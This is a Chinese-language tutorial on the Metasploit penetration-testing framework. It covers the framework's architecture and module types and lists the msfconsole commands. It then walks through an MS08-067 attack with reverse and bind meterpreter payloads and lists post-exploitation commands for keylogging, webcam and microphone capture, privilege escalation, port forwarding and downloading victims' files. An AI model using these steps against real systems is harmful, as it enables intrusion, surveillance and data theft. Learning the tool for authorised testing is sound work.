1.Metasploit介绍与基本命令
Metasploit体系框架介绍
Metasploit是目前世界上领先的渗透测试工具，也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。
Metasploit之所以流行，是因为它可以执行广泛的安全测试任务，从而简化渗透测试的工作。Metasploit适用于所有流行的操作系统，但Kali Linux是最受欢迎的操作系统，第一、它预装了几乎所有实用渗透测试工具，降低了使用成本，其次它是基于Linux的操作系统，具有可靠的稳定性和安全性。
Metasploit渗透框架（Metasploit Framework）是一个免费的、开源的渗透测试框架，由H.D.Moore在2003年发布，后来被Rapid7收购。当前稳定版本是使用Ruby语言编写的。它拥有世界上最大的渗透测试攻击数据库，每年超过100万次的下载。它也是迄今为止使用Ruby构建的最复杂的项目之一。
Metasploit设计是尽可能采用模块化的理念；在基础库的基础上，提供了一些核心框架功能的支持；实现渗透测试的功能的主体代码则以模块化方式组织，并按照不同用途分为6种类型模块；为了扩充metasploit框架对渗透测试全过程的支持功能特性，metasploit的渗透测试功能还引入了插件机制，支持将外部的安全工具集成到框架中；metasploit框架对集成模块与插件，通过用户接口与功能程序提供给渗透测试者进行使用。
1. Libraries（基础库文件）
metasploit基础库文件位于源码根目录路径下的libraries目录中，包括Rex，framework-core和framework-base三部分。
Rex库1）最基础的组件，如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等；
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口；
framework-base库扩展了framework-core，提供更加简单的包装例程，并为处理框架各个方面的功能提供了一些功能类，用于支持用户接口与功能程序调用框架本身功能及框架集成模块；
2. modules（模块）
模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。按照在渗透测试过程各个环节中所具有的不同用途，分为
1）辅助模块（Anxiliary）：辅助模块为信息检索提供各种扫描程序。其中包括登录扫描器、漏洞扫描器、网络嗅探和端口扫描器；
2）渗透攻击模块（Exploiits）：这个模块包含用于利用漏洞的程序和脚本，Metasploit有超过1700个漏洞利用程序。
3）后渗透攻击模块（Post）：用于支持在渗透攻击取得目标系统远程控制权后，在受控系统中进行各式各样的后渗透攻击动作，如获取敏感信息、实施跳板攻击等
4）攻击载荷模块（Payloads）：它主要用于建立攻击者和受害者机器直接的连接，Metasploit有超过500个有效攻击载荷。
5）空指令模块（Nops）：用来在攻击载荷中添加空指令区，以提高攻击可靠性的组件。
6）编码器模块（Encoders）：确保攻击载荷中不会出现渗透攻击过程中应加以避免出现的坏字符”。为了使有效载荷在IDS入侵检测/IPS入侵防御系统或反病毒程序下能不被发现，对攻击载荷进行“免杀”处理。
这些模块都拥有非常清晰的结构和一个预先定义好的接口，可以被装载到Metasploit框架中，并可组合支持信息搜集、渗透攻击与后渗透攻击拓展等渗透测试任务。
3. 插件（plugins）
Metasploit框架的插件是一类定义比较松散，能够扩充框架的功能，或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具，如Nessus、OpenVAS漏洞扫描器等，为用户接口提供一些新的功能命令、记录所有的网络记录或提供创新的渗透测试功能。
4. 接口（interfaces）
Metasploit框架提供了多种用户使用接口，包括msfconsole控制台终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口等。
5. 功能程序
Metasploit还提供了一系列可直接运行的功能程序，支持渗透测试者与安全研究人员快速地利用Metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式，并可以进行各种类型的编码。
Metasplot基本步骤及命令详解
1.Linux metasploit安装及使用
1.1 终端输入msfconsole，启动metasploit
MSF终端是Metasploit功能最强大、最丰富的用户接口。
show Auxiliary/Exploits/Payloads 列出metasploit框架中的所有辅助/渗透攻击模块/攻击载荷。
1.2 msf>help
核心命令
Cd 更改当前的工作目录
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
1.3 数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件（文件类型将被自动检测）
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
1.4 模块命令
Advanced 显示一个或多个模块的高级选项
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
1.5 工作命令
Handler 作为作业启动负载处理程序
Jobs 显示和管理作业
Kill 杀死一个工作
Rename_job 重命名作业
1.6.查找metasploit框架中所有的渗透攻击和其他模块：
search[模块名]
search ms08-067
1.7.选择并加载模块：
use exploit/windows/smb/ms08_067_netapi
info展示出制定渗透攻击或模块的相关信息。
1.8.设置攻击载荷：
set payload windows/meterpreter/bind_tcp
常用payload
Linux：
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp
Windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell reverse_tcp
windows/shell_ bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell reverse_tcp
windows/x64/shell_bind_tcp
注意：
含有x64只适用目标服务器为64位操作系统的，没有x64或者使用x86的只适用32位操作系统；含有meterpreter的模块会反弹meterpreter_shel，而普通的shell模块只会反弹普通的shell（反弹结果跟nc类似）；
reverse_tcp（反向连接）表示木马会主动连接目标服务器，bind_tcp（正向连接）表示木马会监听本地的端口，等待攻击者连接。这里所说的连接一般是指tcp的某个端口。因此在生成木马前，需要先判断当前环境，适合正向连接木马还是反向连接的木马。
1.9.查看需要设置的配置参数：
show options
1.10 设置配置参数（ip或端口）：
set XXXX xxxxxx
1.11 开始攻击：
exploit或run；
等待目标上钩，获得shel之后，就可以通过命令获取目标机器的信息和控制其机器
sessions 列出所有可用的交互会话
Sessions –l 1进入1号会话
打开meterpreter使用帮助：help
比如：getuid命令查看权限，验证内网渗透成功
1.12 核心命令
Background -将当前会话移动到背景
Bgkill -杀死一个背景meterpreter 脚本
Bglist -提供所有正在运行的后台脚本的列表
Bgrun -作为一个后台线程运行脚本
Channel -显示活动频道
Close -关闭通道
Exit -终止meterpreter会话
Help -帮助菜单
Info -查看详细信息
Irb -进入Ruby 脚本模式
Migrate -移动到一个指定的PID的活动进程
Quit -终止meterpreter会话
Read -从通道读取数据
Run -执行以后它选定的meterpreter 脚本
Use -加载meterpreter的扩展
Write -将数据写入到一个通道
1.13 文件系统命令
Cat -读取并输出到标准输出文件的内容
Cd -更改目录对受害人
Del -删除文件对受害人
Download -从受害者系统文件下载
Search -在目标主机文件系统上查找搜索文件例如：search-d c\\-f
*.doc 在目标主机C盘下搜索doc文档
Edit -用vim编辑文件I
Getlwd -打印本地目录
Getwd -打印工作目录
Icd -更改本地目录
Lpwd -打印本地目录
lS -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
Upload -从攻击者的系统往受害者系统上传文件
1.14 网络命令
Ipconfig -显示网络接口的关键信息，包括IP地址、等。
Portfwd -端口转发例如：portfwd add-11122-p3389-r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
Route -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1会话加入指定网段
Arp -显示主机ARP缓存
Getproxy -显示当前代理配置
Netstat -显示网络连接
1.15 提权命令
Getsystem -获得系统管理员权限
1.16 用户界面命令
Enumdesktops -列出所有可访问台式机
Getdesktop -获取当前的meterpreter桌面
Idletime -检查长时间以来，受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如Word或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot -抓去meterpreter 桌面的屏幕截图
record_mic -音频录制
webcam_chat -查看摄像头接口
webcam_list -查看摄像头列表
webcam_stream -摄像头视频获取
set_desktop -更改meterpreter 桌面
Uictl -启用用户界面组件的一些控件
